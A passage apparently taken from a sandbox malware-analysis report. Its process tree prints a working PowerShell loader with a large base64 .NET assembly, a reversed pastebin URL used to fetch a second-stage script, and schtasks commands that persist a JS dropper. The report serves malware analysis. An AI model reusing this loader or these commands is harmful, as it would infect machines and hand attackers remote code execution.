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';[Byte[]] $EuKVK = [System.Convert]::FromBase64String( $bFjDJ );[System.AppDomain]::CurrentDomain.Load($EuKVK).GetType('ClassLibrary3.reed').GetMethod('testd').Invoke($null, [object[]] ('xvdvZ3wN/war/moc.nibetsap//:sptth' , 'C:\Users\Admin\AppData\Roaming\úùÆüÔ.js' , 'Chromeudata', '3', '1', 'Regedit Name' ) );
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2624

C:\Windows\system32\taskeng.exe
taskeng.exe {D0A9B1B9-CCE0-4517-A673-8276183F8898} S-1-5-21-3294248377-1418901787-4083263181-1000:FMEDFXFE\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Windows\System32\WScript.exe
  C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Local\Temp\Chromeglogge.js"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /tn Chromeupd /f
    3⤵
    PID:324
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn Chromeupd /tr "C:\Users\Admin\AppData\Local\Temp\Chromeglogge.js" /sc minute /mo 1
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $bFjDJ = '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cHBsaWNhdGlvbkJhc2UAQXBwbGljYXRpb25TZXR0aW5nc0Jhc2UAU3RyUmV2ZXJzZQBFZGl0b3JCcm93c2FibGVTdGF0ZQBHdWlkQXR0cmlidXRlAEVkaXRvckJyb3dzYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAU3RhbmRhcmRNb2R1bGVBdHRyaWJ1dGUASGlkZU1vZHVsZU5hbWVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAT2JmdXNjYXRpb25BdHRyaWJ1dGUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBZYW5vQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBnZXRfVmFsdWUAc2V0X1ZhbHVlAEdldE9iamVjdFZhbHVlAE5ld0xhdGVCaW5kaW5nAHNldF9FbmNvZGluZwBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEZyb21CYXNlNjRTdHJpbmcARG93bmxvYWRTdHJpbmcAVG9TdHJpbmcAR2V0Rm9sZGVyUGF0aABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwATGF0ZUNhbGwAQ2xhc3NMaWJyYXJ5My5kbGwAc2V0X1NlY3VyaXR5UHJvdG9jb2wAU3lzdGVtAFRyaW0AQm9vbGVhbgBBcHBEb21haW4AZ2V0X0N1cnJlbnREb21haW4AVmVyc2lvbgBTeXN0ZW0uQ29uZmlndXJhdGlvbgBTeXN0ZW0uR2xvYmFsaXphdGlvbgBJbnRlcmFjdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBFeGNlcHRpb24ATWV0aG9kSW5mbwBDdWx0dXJlSW5mbwBsaXhvbwBsaXhvAFNwZWNpYWxGb2xkZXIAUmVzb3VyY2VNYW5hZ2VyAFNlcnZpY2VQb2ludE1hbmFnZXIAVXNlcgBDb21wdXRlcgBUb0xvd2VyAENsZWFyUHJvamVjdEVycm9yAFNldFByb2plY3RFcnJvcgBBY3RpdmF0b3IALmN0b3IALmNjdG9yAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5EZXZpY2VzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5BcHBsaWNhdGlvblNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SZXNvdXJjZXMAQ2xhc3NMaWJyYXJ5My5SZXNvdXJjZXMucmVzb3VyY2VzAFN0cmluZ3MAUmVmZXJlbmNlRXF1YWxzAENvbnRhaW5zAFJ1bnRpbWVIZWxwZXJzAENvbmNhdABDcmVhdGVPYmplY3QAR2V0T2JqZWN0AExhdGVHZXQAU3lzdGVtLk5ldABMYXRlU2V0AFdlYkNsaWVudABFbnZpcm9ubWVudABDb252ZXJ0AFN5c3RlbS5UZXh0AGdldF9Bc3NlbWJseQBFbXB0eQAAL0MAbABhAHMAcwBMAGkAYgByAGEAcgB5ADMALgBSAGUAcwBvAHUAcgBjAGUAcwAAG0MAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEAAAVqAHMAAAcuAGoAcwAAAzMAABtXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsAAABAB1DAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAAANcAAAJLgBsAG4AawAAFVQAYQByAGcAZQB0AFAAYQB0AGgAABlJAGMAbwBuAEwAbwBjAGEAdABpAG8AbgAAIWkAbQBhAGcAZQByAGUAcwAuAGQAbABsACwAIAAyADcAABdXAGkAbgBkAG8AdwBTAHQAeQBsAGUAAAlTAGEAdgBlAABFawByAG8AdwBlAG0AYQByAEYAXABUAEUATgAuAHQAZgBvAHMAbwByAGMAaQBNAFwAcwB3AG8AZABuAGkAVwBcADoAQwAAFzkAMQAzADAAMwAuADAALgA0AHYAXAAAKUMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEALgBDAGwAYQBzAHMAMQAAB1IAdQBuAAAhXABJAG4AcwB0AGEAbABsAFUAdABpAGwALgBlAHgAZQAAAPneo+4+E3ZLj7wJCeN45/AAAyAAAQUgAQEREQYVEigBEgwGFRIoARIIBhUSKAESGQYVEigBEiQEIAATAAQAARwcBCABAhwDIAAIBgABEikRLQMgAA4CHgAFEAEAHgAGFRI1ARMABhUSKAETAAcGFRI1ARMAAhMABSABARMABQACAhwcBCAAEkEGIAIBDhJBAh0FBiACHA4SPQYAARJJEkkCBg4EIAECDgUAAhwODgUAAQ4RYQcABA4ODg4OEAAHHBwSKQ4dHB0OHRIpHQIOAAYBHBIpDh0cHQ4dEikCHRwRAAgcHBIpDh0cHQ4dEikdAgIFAAEBEk0DAAABBQABARFxBAAAEnUFIAEBEnUEIAEODgQAAQ4OBQACDg4OBAAAEn0GIAESQR0FBSABEikOBiABEoCBDgUAAR0FDgYgAhwcHRwEIAEBCAQgAQEOBCABAQIHIAQBDg4ODgQHARIMBAcBEggEBwESGQQHARIkBwcDEjkCEjkEBwESPQUHAh0FHAQHARIYEwcNDg4CAgIcHBJNDhJRDhJREk0DBwEOAwcBAgMHAQgEBwESKQUHAh4AAgQKAR4ABwcDEwATAAIECgETAAiwP19/EdUKOgi3elxWGTTgiRAxAC4AMAAuADEANQAuADAABwYVEigBEgwHBhUSKAESCAcGFRIoARIZBwYVEigBEiQDBhI5AwYSPQMGEhgEAAASDAQAABIIBAAAEhkEAAASJAQAABI5BAAAEj0FAAEBEj0EAAAdBQQAABIYCQAGAQ4ODg4ODgQgABIpBxABAR4AHgAHMAEBARAeAAgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwESAQANQ2xhc3NMaWJyYXJ5MwAABQEAAAAAFwEAEkNvcHlyaWdodCDCqSAgMjAyNAAAKQEAJGQwNTU5ZWVjLTAwNDItNDFlZC1iZTUyLTNmMTk1Y2FhMGFjMQAADAEABzEuMC4wLjAAAEkBABouTkVURnJhbWV3b3JrLFZlcnNpb249djQuOAEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUSLk5FVCBGcmFtZXdvcmsgNC44BAEAAAAIAQABAAAAAAAIAQACAAAAAABhAQA0U3lzdGVtLldlYi5TZXJ2aWNlcy5Qcm90b2NvbHMuU29hcEh0dHBDbGllbnRQcm90b2NvbBJDcmVhdGVfX0luc3RhbmNlX18TRGlzcG9zZV9fSW5zdGFuY2VfXwAAAB0BAAEAVAIVU3RyaXBBZnRlck9iZnVzY2F0aW9uAADgKAAAzsrvvgEAAACRAAAAbFN5c3RlbS5SZXNvdXJjZXMuUmVzb3VyY2VSZWFkZXIsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9b